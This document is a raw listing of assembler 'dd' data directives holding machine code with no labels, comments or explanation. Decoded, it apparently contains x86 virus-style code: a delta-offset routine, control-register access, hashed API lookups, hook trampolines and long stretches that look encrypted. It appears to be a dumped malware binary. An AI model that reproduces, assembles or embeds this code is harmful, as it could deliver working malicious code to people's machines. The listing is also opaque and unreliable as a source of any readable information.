dd 6171FAE2h, 0DE8h, 1A829200h, 6179D872h, 71EACB4Eh, 0CA8097B7h
dd 0C08B597Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 1AC35343h, 6EB1C43Eh, 26A1BD83h, 75000935h, 79BD8309h
dd 93530h, 53501974h, 0EB8C08Bh, 89000004h, 352CA985h
dd 9F9D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh, 17740009h
dd 0EB85350h, 89000004h, 352CA985h, 409D8D09h, 0FF0937B1h
dd 60585BD3h, 0A8C2FFBEh, 6A6170h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 0C08B33C3h, 18EBC28Bh
dd 9B46F317h, 5 dup(0)
dd 20BE9h, 5C8B6000h, 0E82424h, 5D000000h, 3D29ED81h, 0C2610938h
dd 0E6E90004h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
dd 0F6E90008h, 0FFFFFFh, 0
dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 383D61B5h, 0E68109h
dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h, 383D65B5h
dd 0E9860F09h, 0FFFFFFFh, 220FD820h, 6160CFD8h, 8C6650C3h
dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
dd 9351C69h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh, 2404FF58h
dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 3525B595h, 10F5009h
dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h, 2588966h
dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 9351C69h
dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
dd 0A03E380h, 38840FDBh, 0BB000000h, 2, 1C69858Bh, 18860935h
dd 850FDB0Ah, 0FFFFFFF6h, 2EC985C7h, 935h, 448B0000h, 988B0824h
dd 1000h, 10009889h, 188B0000h, 0AE91889h, 0C7000000h
dd 352EC985h, 10009h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
dd 13h, 2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh, 0A8D88C66h
dd 29840F04h, 0C7000000h, 383D0685h, 109h, 10F5000h, 8FFE244Ch
dd 383D0A85h, 2858D09h, 8D09383Dh, 383D0ABDh, 0E9388909h
dd 23h, 29E9858Dh, 408B0935h, 0F3170538h, 85899B46h, 9383D02h
dd 29E9858Dh, 408B0935h, 685893Ch, 8D09383Dh, 383D1F85h
dd 0B5858909h, 0E9093525h, 87h, 60D48B52h, 8B08728Bh, 0B2B80C7Ah
dd 0E9A945CAh, 7, 6300600h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh
dd 8C25Ah, 60D48B52h, 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh
dd 7, 6280630h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh, 8C25Ah
dd 56D48B52h, 0DB335351h, 8B08728Bh, 13E90C4Ah, 0AC000000h
dd 840F2D3Ch, 0Ah, 13349804h, 0C3C1D832h, 0C90B4908h, 0FFE5850Fh
dd 0C38BFFFFh, 5A5E595Bh, 8D0008C2h, 383F9285h, 5D858909h
dd 8D09350Bh, 383FBA85h, 9D858909h, 8D09352Ah, 383FE285h
dd 4D858909h, 0E809350Ch, 14h, 48486A09h, 8478E4B6h, 7797A5AFh
dd 4EFD9285h, 94028A0Fh, 7AF18166h, 81F95BFEh, 6CB8C3h
dd 68F18B00h, 0
dd 2870Fh, 50B20000h, 0DA81575Fh, 6DACECEFh, 1F34FF5Ah
dd 58D3B70Fh, 11E9h, 56948300h, 819D1575h, 43C30A7Fh, 212C4C95h
dd 0C08162E2h, 0BDB5060h, 0C081F78Bh, 728D85DCh, 0E38ABE66h
dd 0FCB1C081h, 0F08B4FABh, 813B0489h, 373388C9h, 0F3BF0F13h
dd 8104EF83h, 95937BEEh, 0E0FF8138h, 0FFFFF93h, 0FFFFA885h
dd 6E9FFh, 419B0000h, 0A106BB24h, 8EBh, 0
dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
dd 9351C19h, 6E61858Dh, 88B0938h, 1000888Bh, 0A8B0000h
dd 0FC4A8B66h, 40E48D89h, 0BD830938h, 93523CDh, 0F840F00h
dd 60000000h, 95FF006Ah, 9350829h, 0FFC4E961h, 8966FFFFh
dd 0CEC1FC72h, 72896610h, 4CD5202h, 0E085895Ah, 8B093840h
dd 3840E4B5h, 10CEC109h, 2728966h, 40E4B58Bh, 89660938h
dd 8B61FC72h, 3840E085h, 958DC309h, 93508A1h, 1C699589h
dd 95890935h, 93526ADh, 26AD85FFh, 85C60935h, 935179Dh
dd 48D86853h, 0B5FFFCB1h, 9350EC9h, 3898858Dh, 0D0FF0935h
dd 8298589h, 858D0935h, 9383D39h, 1EA18589h, 0EB0935h
dd 5CEE9h, 5C2E900h, 8F680000h, 0E9093842h, 0FFFD3D14h
dd 3843A668h, 3D0AE909h, 2968FFFDh, 0E9093844h, 0FFFD3D00h
dd 3844CC68h, 3CF6E909h, 0E968FFFDh, 0E9093845h, 0FFFD3CECh
dd 0C1DAFF5Dh, 0E6B7223Fh, 0BBE0FD72h, 0EFAC2D45h, 0B4E9F069h
dd 61F892E7h, 0C65D2378h, 1816CAD3h, 0C25E227Bh, 0ACE0C8D5h
dd 0FE00CCF6h, 0B31BC812h, 809C1509h, 761DD917h, 3641A52Bh
dd 4213B91Ch, 9E271C36h, 0B61C3641h, 1C364210h, 3641A124h
dd 4211B71Ch, 9D289C36h, 0ACDB09C5h, 10950350h, 0A2BC3E8Eh
dd 0E279935h, 1AE4688Bh, 0DA5E9502h, 0A5BB3D1Ah, 0AD15B938h
dd 65FD57CAh, 6F02F2F7h, 45073E24h, 4977E862h, 0D927C9D0h
dd 15975A47h, 4AADF3DBh, 0BE8BCD8Bh, 0DBEBCC18h, 6FF2699Fh
dd 44287h, 3D9AB800h, 1C859860h, 7B66F97Fh, 0D1C65E22h
dd 7C1D14CCh, 0A367141Fh, 0CA8E0F8Ah, 0A1574451h, 0D789128Fh
dd 6B5D3E5Bh, 0FF377D23h, 0A23312FDh, 0AE2B4721h, 0D0DF9F43h
dd 44761B7Fh, 42851BDBh, 2F1C35B3h, 0A1E1E6CEh, 511B07D4h
dd 0B832C26Eh, 9E623BA4h, 6ADE1582h, 7960F9F6h, 0BF0C7C77h
dd 53CEF0D5h, 0CD29AB46h, 0D9C2DF53h, 50A994F9h, 3A9D389h
dd 15B40000h, 896875EBh, 0E17DEF07h, 312AD4F8h, 2BCB4DA4h
dd 41B114A4h, 14911C36h, 0C0D95520h, 0F599F5DBh, 0F60DD38Dh
dd 9A5A82EDh, 3576BE04h, 0BD34BA1Ch, 0E4DA6919h, 0E97B7C25h
dd 9D930Dh, 9D3A32CCh, 4522D256h, 0B5C25F61h, 35AAC5EFh
dd 0D11FC11Ch, 0E4569E22h, 0D7C25F48h, 7656981Ch, 0AA268C52h
dd 7C221C35h, 0AB55F978h, 4ACE25B0h, 0D69217AAh, 821F13C5h
dd 7366FD6Fh, 0AA349A2Ah, 0CF641C35h, 99C27CAh, 0ED837D51h
dd 777F01F0h, 0B5DA0DD3h, 0C8CE1502h, 0D474F11Ch, 1D05ACF2h
dd 32Bh, 8516B3A1h, 5A435ED3h, 8F0C89A6h, 534851C9h, 9805948Dh
dd 51CEE9Bh, 0DA510794h, 41ADEBFh, 0DE520697h, 98F4DCC1h
dd 0FDFEC00Ah, 0A427B412h, 0A0BE2B47h, 0B23CC033h, 4851CD3Fh
dd 993C37A9h, 4CB24D35h, 0D24B8D5h, 0CE3014E9h, 621C3547h
dd 1C35575Ch, 0EF02978Ch, 35575F61h, 7B23761Ch, 78FCF7E2h
dd 6C325676h, 1C355746h, 0B4589C42h, 25BF7EEh, 0FBEBED15h
dd 0F2D4CAC8h, 0A8644ED5h, 1E000002h, 5206973Ch, 27D9C2DFh
dd 48108D08h, 22D6C7D0h, 60D8E0Bh, 0FD9C9575h, 5643D8A0h
dd 9D9345h, 5049E59Bh, 7B29654Bh, 12FDFD51h, 47339845h
dd 9F43AE2Bh, 9D9E2DFh, 20D4525Bh, 0A925B2AEh, 30F5BFE5h
dd 0EFF11C36h, 0CB188807h, 0A5322ED9h, 0FB9E9729h, 0E12C1EFBh
dd 8689500Ah, 223h, 41A52B45h, 5BD51C36h, 859B5D3Eh, 0C967D918h
dd 66B725CCh, 8958B7Eh, 0F96E9F93h, 4FF9894Fh, 0DA000000h
dd 0BC39B2Eh, 0B7223DBFh, 0A63CB83Ch, 15036597h, 0AEEBFB9Dh
dd 0EFF2D400h, 2055A44h, 0D97B0000h, 44D99FFCh, 0A7B8405Dh
dd 879F613Ah, 5ED78912h, 2059623Bh, 0B5E6F36Ah, 0F0AD2843h
dd 0B4E9F668h, 0F6A7302Ch, 5E647A52h, 5A12FDFDh, 0B7178A49h
dd 6D74E913h, 5CF20286h, 1C36415Eh, 2B9D545Ah, 1AA5B835h
dd 36413E84h, 3AB43A1Ch, 0E2BB35B7h, 5E95021Eh, 0A82D46B8h
dd 41347E24h, 0AE301C36h, 32F6BB46h, 5C79F769h, 0C1D64E70h
dd 7146AE32h, 8B6673EFh, 3E5BD5E7h, 54CF31B3h, 0C62EB241h
dd 0E1BADF54h, 0BB019FEFh, 0AF1C3641h, 242901FBh, 0EC0283A1h
dd 19C9305h, 25E7CB9Ch, 0F5BFE5A9h, 0FB1C3626h, 3626DFE5h
dd 0EFD5DB1Ch, 12860DE9h, 491B801Dh, 1C362687h, 319B4985h
dd 251C3626h, 0D5E07383h, 4813D1FDh, 3C150351h, 9588329Ah
dd 54C98F0Ch, 974D814Dh, 13010C2Dh, 1169EA27h, 9230FCCFh
dd 0EA65B40Ch, 693614B0h, 9C92068Dh, 362DCFFFh, 28CC50A3h
dd 993C37A9h, 5C49E65Ah, 0D71AD4C5h, 2DA1794Ch, 0CDBEF877h
dd 0EAFA9C0Bh, 0E99F61E5h, 0E89179F8h, 5E000000h, 12C6D7FCh
dd 6719821Fh, 8D0CDC8h, 62168710h, 0C6CDCECBh, 3D5CD5B5h
dd 16839860h, 405DD385h, 1089A55Bh, 0BBE9A58Bh, 12FDFD11h
dd 47F3D805h, 9F43AE2Bh, 0F69021Dh, 0F54F3251h, 0AFC03EB0h
dd 0B93DBF32h, 10802B47h, 426B5FB5h, 0EECEFEF0h, 19716B1Ah
dd 0CF4EA68Bh, 1BD6C35Dh, 0C72AB7A9h, 0ED988CD9h, 7C866871h
dd 0DE52250Fh, 7BF30DC1h, 0B111935Eh, 643F8610h, 6C41B5FCh
dd 505C87C6h, 3DE089h, 15AF0000h, 41A12BB9h, 0F1951C36h
dd 364209B3h, 15DBFD1Ch, 8A6974EBh, 5D60EE06h, 5D1C3641h
dd 41497331h, 9B3D1C36h, 644DE15Bh, 7628CBCCh, 0F2F6BFA3h
dd 57995740h, 0B1C46h, 2B6D0000h, 1C3641A5h, 5B4059D5h
dd 9B91578h, 3E24FADDh, 773DA720h, 731C360Eh, 9CA7896Dh
dd 2ABh, 47721100h, 0CF41B015h, 39AB4653h, 0C537BA27h
dd 54C82BAEh, 0C335BCDDh, 50C42FAAh, 0C034BFD8h, 4DBF32AFh
dd 5D2AC9D0h, 81E18951h, 4C1h, 4E98300h, 8B240C87h, 0FD682424h
dd 89000039h, 0AB68240Ch, 89000076h, 68502404h, 2DBA19E5h
dd 580F3558h, 0C1892482h, 8124048Bh, 4C4h, 48B5400h, 4C48324h
dd 79BF5751h, 297A8D28h, 5F04247Ch, 8108408Fh, 28790840h
dd 48B7A8Dh, 0E2895224h, 4C281h, 0C2830000h, 24148704h
dd 2434FF5Ch, 4C48359h, 0FD376BE9h, 0CD3A93FFh, 189EED73h
dd 0F259960Bh, 0EE434644h, 3846F6B8h, 8BC50309h, 20EBD1h
dd 7 dup(0)
dd 0E9000000h, 50Eh, 502E9h, 495C6800h, 1DE90938h, 68FFFD37h
dd 93849D7h, 0FD3713E9h, 4B6468FFh, 9E90938h, 68FFFD37h
dd 9384BC3h, 0FD36FFE9h, 0E5C270FFh, 0B42D40B8h, 0E3FE71E7h
dd 0A92E46BAh, 0E4F56CF4h, 0FB8FFCB7h, 0B2267762h, 0F97F1CB9h
dd 5F217A67h, 0E3C5D6C3h, 0FACFF5ABh, 1ACB12FDh, 0AD2847B9h
dd 4210B646h, 54D19C36h, 0FB266760h, 3F41094Fh, 8D000000h
dd 0E5DDF873h, 759E885Bh, 6B12E2C6h, 29F8AD15h, 13CDA64Fh
dd 0BB6A4DE3h, 36811C35h, 2D306E5Eh, 0E3150D7Fh, 77EF11BDh
dd 0CDB59262h, 3Ch, 0A50FD5F9h, 0A112FD80h, 6B85100Fh
dd 0A52BE48Bh, 0A31C3641h, 4213B9E7h, 0D3111C36h, 1C3641E9h
dd 0E709BBDDh, 5931840Fh, 5282F75h, 0BADC150Eh, 3A1EDE1h
dd 12FDFAB9h, 24CB2BADh, 46AD2847h, 0C9BDE1B6h, 0C7D24F63h
dd 9A0B82Ch, 6FD266AFh, 0D31ED0D9h, 0E98C78E5h, 572212F3h
dd 0FFE0BDD8h, 6B76E9ABh, 0E2EA0488h, 0BADF679Ah, 0DA1AF4B5h
dd 0B64E702Eh, 9C429C36h, 524FE355h, 4ED807Ah, 846F68h
dd 418103EEh, 5158A119h, 5D3ABA9Ah, 6F5F3782h, 0FD3F851Bh
dd 0B53B9C36h, 0B8079D41h, 0BC950419h, 0C8D6B21Ah, 0A56BEA02h
dd 7D04F0F6h, 6BE9C9EFh, 7762F9A5h, 8710087Ch, 0FF2ABA6Ch
dd 4697C979h, 0D4E5CF3Ch, 7E1854BDh, 7021CFBEh, 96031C9Eh
dd 2A23115Eh, 1ADDE3h, 0A7B94387h, 6922A83Ah, 9016A56Bh
dd 56B564h, 2E160000h, 0D50BC39Bh, 150E02D6h, 8E309C42h
dd 0E0980592h, 0CD93534Ch, 10F2D71Bh, 2ACA991h, 49EB0000h
dd 0B4A92F6Ch, 77E8702Dh, 0B7AF316Ah, 6E077922h, 1069326Bh
dd 0A5F6E37Ah, 9D3833h, 0A4F9E678h, 465740DCh, 4E742A62h
dd 4A12FDF8h, 77D13A99h, 2000002h, 46AD2847h, 364210B6h
dd 4222241Ch, 8D361C36h, 0A71C3641h, 1C364121h, 36419335h
dd 4121A71Ch, 6D38DC36h, 978B19B5h, 5F5501B3h, 9A2DBA39h
dd 31D40AC2h, 0A74BCB70h, 0AD11E501h, 25CCA9A1h, 2313Dh
dd 0E5C27000h, 0B42D40B8h, 0E3FE71E7h, 0A92E46BAh, 0E4F56CF4h
dd 0FB8FFCB7h, 0B2267762h, 0F97F1CB9h, 5F217A67h, 0E3C5D6C3h
dd 0F8CFF5ABh, 1ACB12FDh, 0AE2B47B9h, 35EDB843h, 5400B99h
dd 0B234150Eh, 0DDF877E9h, 0BA2738C0h, 4119AC37h, 0BDF4578Dh
dd 0BEE00BD5h, 41B9FFDDh, 0C5D01C36h, 0F30DC10Dh, 8965E7Bh
dd 150E054Dh, 0F8718B33h, 0FAB903E1h, 2BAD12FDh, 1FC509C5h
dd 12FDFA95h, 21BF0F91h, 12FDFA9Bh, 41ED098Fh, 0CE14A3BFh
dd 12FDFAE4h, 6B30BEE0h, 916079F5h, 0FDFAAD03h, 0D7D1E412h
dd 0FDFB03C9h, 0D9E30112h, 0CD12FDFAh, 0F9F7F9CBh, 6807F9D5h
dd 48FB896Dh, 2C0BD5BEh, 546622AAh, 0C436BEDBh, 0EA6E2FA8h
dd 0E48A6976h, 41D0FAA8h, 22C41C36h, 416A3CD2h, 16A11C36h
dd 0F1508E3Eh, 0F1150E04h, 956D3A91h, 74809D07h, 0AB418BEh
dd 89458916h, 0FDBC715Bh, 0B3436512h, 910E22D6h, 0AC2D562h
dd 1CC206C2h, 12FDBC96h, 5AE80C92h, 0BD58013h, 660CE709h
dd 51CEDB54h, 0C52BAD44h, 7F1DA331h, 87DE1C35h, 0BB91BC9Dh
dd 0CD68950h, 0B5000000h, 365EA52Bh, 75F1Ch, 2BB00000h
dd 1C3657A5h, 0D39B2EA8h, 21AD435Eh, 0E04B883h, 0A22AAC15h
dd 559C0518h, 2BC6CCA5h, 0DC1255A1h, 0BB0E9918h, 5AD1EBE3h
dd 0B713B73Fh, 45F4F607h, 4FA7A43Eh, 0CAA852C1h, 160EB00Bh
dd 6EE7281h, 768E5658h, 27E9AC95h, 0A4927Ch, 71E30000h
dd 9C914754h, 4FE09805h, 9F974952h, 46DFA1FAh, 38514A53h
dd 0DDBEDB52h, 895001Bh, 0DCC1DE50h, 0E8F0824h, 862C721Ah
dd 8212FDF6h, 9B2E7251h, 78F10BC3h, 0BBE99561h, 150E0590h
dd 0E5F26C8Eh, 0B46A8A0Eh, 6134BF32h, 147F25A9h, 0D00BCB27h
dd 45E416CEh, 3AB9E9ACh, 4550h, 0F1D68400h, 0A03934ACh
dd 0EFEA85FBh, 0A5322AAEh, 0F0E980F8h, 0EF9BF0ABh, 0C63A6376h
dd 0ED7328ADh, 0C3356673h, 0C76932AFh, 0F6F3D907h, 0B6E712FDh
dd 10D115h, 0D1FD0000h, 3641A913h, 5742D91Ch, 0E48B6B6Dh
dd 1547844Fh, 53CF41B0h, 2739AB46h, 0AEC537BAh, 0DD54C82Bh
dd 0AAC335BCh, 0D850C42Fh, 0AFC034BFh, 0D04DBF32h, 505D2AC9h
dd 405E089h, 83000000h, 48704E8h, 14895C24h, 3A256824h
dd 34890000h, 4DFE6824h, 14890000h, 271BBE24h, 0EE8163B4h
dd 67A65109h, 57D6F746h, 0E770F4BFh, 5FFE2109h, 6733F681h
dd 8B5408DAh, 0C4812414h, 4, 8BB53h, 0D3010000h, 1C8B3389h
dd 4C48324h, 5A2434FFh, 8B04C483h, 89522434h, 4C281E2h
dd 83000000h, 148704C2h, 31E95C24h, 0A4FFFD32h, 0E8C68A9Bh
dd 411F2133h, 0B8396540h, 9384C2Dh, 0C88BC503h, 51E9h
dd 748B6000h, 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h
dd 4E8B6600h, 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h
dd 158F0Fh, 0EA830000h, 0C428B28h, 2B144A8Bh, 89F82BC1h
dd 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h, 0FFE9E9FFh
dd 3EBAFFFFh, 0E80009FDh, 0Ch, 58B449B6h, 31165E8h, 0AA18874Ah
dd 68B0Fh, 0DA810000h, 209D0AD8h, 7DC7815Fh, 51000064h
dd 0B95ED38Bh, 70013567h, 2C64F181h, 78B7001h, 928FE881h
dd 0BB664889h, 0C081B765h, 21756FE9h, 7521E881h, 0D3816FB9h
dd 33D7FCEDh, 81660789h, 83D8FFC6h, 4F4F01EFh, 0F281664Fh
dd 0F49E412h, 0FFFFC985h, 0BE9FFh, 1C350000h, 0E3FF9922h
dd 76303233h, 0D9E9F5h, 1D200000h, 0C12C0FBEh, 0CFDF2F82h
dd 54FDBEB6h, 0A436365Dh, 0D500BCECh, 0D352C55Dh, 94A4D676h
dd 0C44100FCh, 0CB50C1AEh, 0AC325277h, 0B8009CACh, 64F7F691h
dd 549382CDh, 58000000h, 5C000000h, 94000000h, 5000000h
dd 1000000h, 28000000h, 200000Ah, 20h dup(0)
dd 0B000000h, 0E93C5190h, 1F3Ah, 3850A368h, 305AE909h
dd 6868FFFDh, 0E9093851h, 0FFFD3050h, 3851FA68h, 3046E909h
dd 0C868FFFDh, 0E9093852h, 0FFFD303Ch, 3853A368h, 3032E909h
dd 8368FFFDh, 0E9093854h, 0FFFD3028h, 38557C68h, 301EE909h
dd 2F68FFFDh, 0E9093856h, 0FFFD3014h, 3859C768h, 300AE909h
dd 6368FFFDh, 0E909385Ah, 0FFFD3000h, 385B9968h, 2FF6E909h
dd 8968FFFDh, 0E909385Eh, 0FFFD2FECh, 3861A468h, 2FE2E909h
dd 0F768FFFDh, 0E9093864h, 0FFFD2FD8h, 38665E68h, 2FCEE909h
dd 0C868FFFDh, 0E9093866h, 0FFFD2FC4h, 38672668h, 2FBAE909h
dd 8268FFFDh, 0E9093867h, 0FFFD2FB0h, 3868A568h, 2FA6E909h
dd 568FFFDh, 0E909386Ah, 0FFFD2F9Ch, 386B1568h, 2F92E909h
dd 5103FFFDh, 0BCB12774h, 6F007825h, 0BFB72972h, 66FF811Ah
dd 18712A73h, 0BDDEFB72h, 0E8B5203Bh, 0BCE1FE70h, 0EEAF2844h
dd 664C923Ah, 6212FDF2h, 2B479231h, 1D9F43AEh, 0E9639306h
dd 2C606C75h, 36414C76h, 4EA6481Ch, 3DBEE79h, 645215CBh
dd 70501503h, 2BB92E62h, 130121A1h, 0F0AF1395h, 0F7AD4991h
dd 305C02F1h, 0C44872h, 5A9A3C13h, 0C502C4h, 7262C313h
dd 857AF459h, 0EC847692h, 708408EBh, 4AC9h, 9B2E0A00h
dd 41B903A1h, 2BAD1C36h, 0E2CCBB97h, 2CC2CB5Dh, 0DA1302A0h
dd 0A5E91502h, 99B5FFh, 932FB113h, 0D935E5DEh, 0CC02E33h
dd 955C79F2h, 0CC5CE313h, 130066EAh, 40D9E3ABh, 5C489D59h
dd 85D5527Bh, 0D91592h, 47760000h, 0D143AE2Bh, 3EB24158h
dd 6919B522h, 8AF5CCCAh, 88150B1Fh, 9D0F8E66h, 0E937EA81h
dd 0D823578Ah, 4EB78516h, 21C358Ah, 0B42C716Eh, 47D41FB8h
dd 565C827Ch, 521C3589h, 1BD5C25Ch, 6C07F9D5h, 0EE068A69h
dd 0AFF1944Ah, 0C1E71502h, 0E0B80BDCh, 27B194ECh, 918514E4h
dd 0BD2BB965h, 0C10BCCDBh, 140DAF1Fh, 0BAB74985h, 93DDE7FDh
dd 0D7D91C33h, 9E56DA19h, 0A39DE5C9h, 0DAE5C624h, 2138B242h
dd 0E8912CB8h, 0A54CE9A0h, 1C69BDh, 11B6A400h, 4059D48Ch
dd 0F8AA55Bh, 4552CA8Eh, 1089A058h, 0FFB908Bh, 661A8316h
dd 0DD3C8CDh, 63158613h, 0E7C9D2CFh, 0F1D3F9A7h, 16C712FDh
dd 0AB2E47B5h, 0BE843CF2h, 4F87F911h, 0FE72EC08h, 0C19B21BFh
dd 98F1C35h, 2E15B6E7h, 0D50BC39Bh, 1503724Ah, 235708B8h
dd 6E26F9A6h, 0F6D6D886h, 16A60CD2h, 0FCA21301h, 0E5EB79F8h
dd 0A6130116h, 1974553Fh, 4E928525h, 83h, 0AE2B477Dh, 4158D143h
dd 45D922B2h, 130F1C36h, 0CF631586h, 1941FD2h, 185F8549h
dd 8C150364h, 0E3B6910Ah, 0D4FDA32Bh, 900BCCC4h, 253CBE0Eh
dd 276818B4h, 0BCA8565Ah, 80F8D521h, 5FF4F0E9h, 7EE9A0F7h
dd 1BA40BF3h, 7DDF0000h, 0A0BD4358h, 839C6439h, 5BD38516h
dd 829B5D3Eh, 0FC8D8617h, 1982170Eh, 0D4C9CC67h, 1885120Ch
dd 0CAD3CC60h, 0D2F8A6E6h, 0C612FDF0h, 2E47B615h, 0F26EF2ABh
dd 1513B8E5h, 41A12BB9h, 13951C36h, 0ECF569E3h, 29F9305h
dd 8160E999h, 306E5E36h, 15035501h, 972DF1F7h, 97831505h
dd 1F30C3FBh, 18538B83h, 0A67E49DCh, 0CD1D7826h, 0DD035F47h
dd 663E8916h, 90E3866h, 0ECF25875h, 5542DEE0h, 39C9048h
dd 5A2D06E3h, 220C979Fh, 1B12h, 0D1CAEF4Dh, 1687120Fh
dd 0CBD0CD62h, 1F7C1D15h, 0C4D9C059h, 110882F7h, 0D64D1388h
dd 826DAC3h, 0D24E128Bh, 9CF0D8C5h, 0FDF0BC06h, 0A82BB812h
dd 43AE2B47h, 9935EDB8h, 15E3EAE9h, 0B50071D9h, 0D298F8D2h
dd 6805FBF5h, 0CBD98571h, 1502D544h, 0F29636B8h, 8D06ACh
dd 0C2AE0213h, 18BB097Eh, 5D3ABA34h, 6E39A89Dh, 0FBEB2C94h
dd 370EDA1Ah, 0C107ADh, 13DD0313h, 0D41625BBh, 7C220BCDh
dd 5C667C50h, 581C35ABh, 62687656h, 561C35ABh, 7A48A450h
dd 0DB8685CDh, 0C707DFEAh, 51847E19h, 841A624Dh, 4DB17B3Eh
dd 0D44AB43Ah, 3DCA29C7h, 841AB26Ah, 467EB3BAh, 0AB418BEh
dd 4C148916h, 381FC7D0h, 65B150E2h, 1A44D4BEh, 0DD7F0000h
dd 40DDA3F8h, 0A3BC4459h, 7BF36536h, 0A2BB3D5Eh, 0DCAD6637h
dd 0F9A2372Eh, 0B4E9EC87h, 0F8A5322Ch, 0AAF3EC80h, 0B218C606h
dd 0A612FDEFh, 2B47D6F5h, 1D9F43AEh, 0DC609306h, 4208B2F0h
dd 0DAFC1C36h, 643C871Ah, 4CC33A68h, 0B9431503h, 4BA3AA7h
dd 1549B9E2h, 19C7A1F4h, 130132B3h, 754F4AE3h, 7F455B73h
dd 7B130132h, 77537B75h, 28B1A953h, 13310BAh, 12E20413h
dd 0CE45AD7Ch, 0F925CB0Bh, 9EE1936Bh, 817B4E80h, 0A12D974Dh
dd 87297F8Dh, 8DA1575Dh, 1948F7Fh, 0FBD31DC3h, 5AACAAE5h
dd 44880E78h, 0BA3AA7BAh, 451DA833h, 0CBED5B89h, 0CFD17F65h
dd 0AF15CBFFh, 0AB7F8DABh, 0B34DF105h, 2900F4BFh, 0D6147557h
dd 61FD8318h, 0B2696C78h, 0AD348647h, 1969C5h, 11B6A400h
dd 4059D48Ch, 0F8AA55Bh, 4552CA8Eh, 1089A058h, 0FFB908Bh
dd 661A8316h, 0DD3C8CDh, 63158613h, 0E7C9D2CFh, 0EED3F9A7h
dd 16C712FDh, 8C2B47B5h, 36416C56h, 0A846681Ch, 14819A24h
dd 149B5BDDh, 3E841A6Eh, 3A1C3641h, 0C6D34AB4h, 3810A32Eh
dd 0BA022C94h, 0FC58AB45h, 547854F8h, 3547248Eh, 928E201Ch
dd 750BEB05h, 15024B82h, 245C7076h, 0E9557722h, 0C1965EE0h
dd 627FF30Dh, 0C13E1A92h, 0F0AE1EF6h, 0BCD9741h, 0D76DB137h
dd 0E1744DD7h, 968F5762h, 0E37CF003h, 7779FBF6h, 0F08F5579h
dd 0E417C12Eh, 0B63D5AD2h, 0AA35BC32h, 0BADF571Fh, 933BB537h
dd 8C66E34Dh, 0FDD1D720h, 29726F03h, 4DDF3D85h, 0BA72350Ah
dd 43AE2B44h, 0A7BB35C1h, 0C5E1AA3Ah, 75FCE6E1h, 18898Dh
dd 3196C400h, 6079F46Ch, 2FAAC53Bh, 6572EA6Eh, 30A9C038h
dd 2FDBB06Bh, 86FAA336h, 2DB3E8EDh, 83F5A633h, 7A9F2EFh
dd 0EDB319C7h, 0F6A712FDh, 0BCAD15D5h, 0C9D04936h, 0B71AA62Ah
dd 62DC1818h, 7C22D1CEh, 932AE44h, 24D0345Fh, 7E4E0691h
dd 2900560h, 6C05FB15h, 0C2E0866Dh, 13004FF8h, 0EA04EAECh
dd 5B44D8E2h, 93CBE9Bh, 0B915CDD8h, 0CD63182Bh, 0A27A1C0Bh
dd 801914A6h, 0FBF6E37Eh, 0A0E77D79h, 378FFDD0h, 7418B46Ch
dd 2F408A18h, 0B234886Eh, 3AD1AC42h, 0AF51813Bh, 1FD521B4h
dd 6B795579h, 81392561h, 1CA35355h, 268C5276h, 22813925h
dd 0ED04958Ch, 9B49856Bh, 81392531h, 0E0738325h, 96130DD5h
dd 72F6FD9Ah, 0FDF3757Ch, 4C39F1D1h, 0BA395ED6h, 53838A36h
dd 3E6408ECh, 7A05B9F0h, 0D0EAE204h, 0A65A435Ch, 0D90D8Ah
dd 0DD7D67DCh, 17906C56h, 69CB0000h, 94894F4Ch, 57C8900Dh
dd 978F514Ah, 4EE79902h, 3049524Bh, 0C5D6C35Ah, 207D1813h
dd 0C4D9C658h, 0E6B7203Ch, 6E548A42h, 6A12FDECh, 2B479A39h
dd 1D9F43AEh, 0CB669801h, 55A123CEh, 312FF7C2h, 25CB4DA4h
dd 0F80FBA9h, 7274150Eh, 4A702E5Ah, 3E12FDF4h, 0C52CB5A8h
dd 0A549AD43h, 329A071Bh, 0EE069388h, 4B593519h, 12FDF481h
dd 0ED837375h, 12FDF537h, 0E8F5F56h, 0D4C9D64Ah, 65F8A0F3h
dd 445A727Ch, 0BD5C22Dh, 17A925CBh, 281E7F1Ah, 0CAD89F96h
dd 1C364200h, 0F5FCF2F4h, 14098373h, 7EF2668Dh, 0E4B28561h
dd 882BE99Eh, 16DD9Eh, 9D3A1800h, 0FCE57800h, 5B46D99Fh
dd 31A6BE42h, 5C7DF46Ch, 8307743Fh, 2AAEEFEAh, 81F7A431h
dd 37A9F2EFh, 4BFD9E3Bh, 0EB575D83h, 425312FDh, 0C39B2E81h
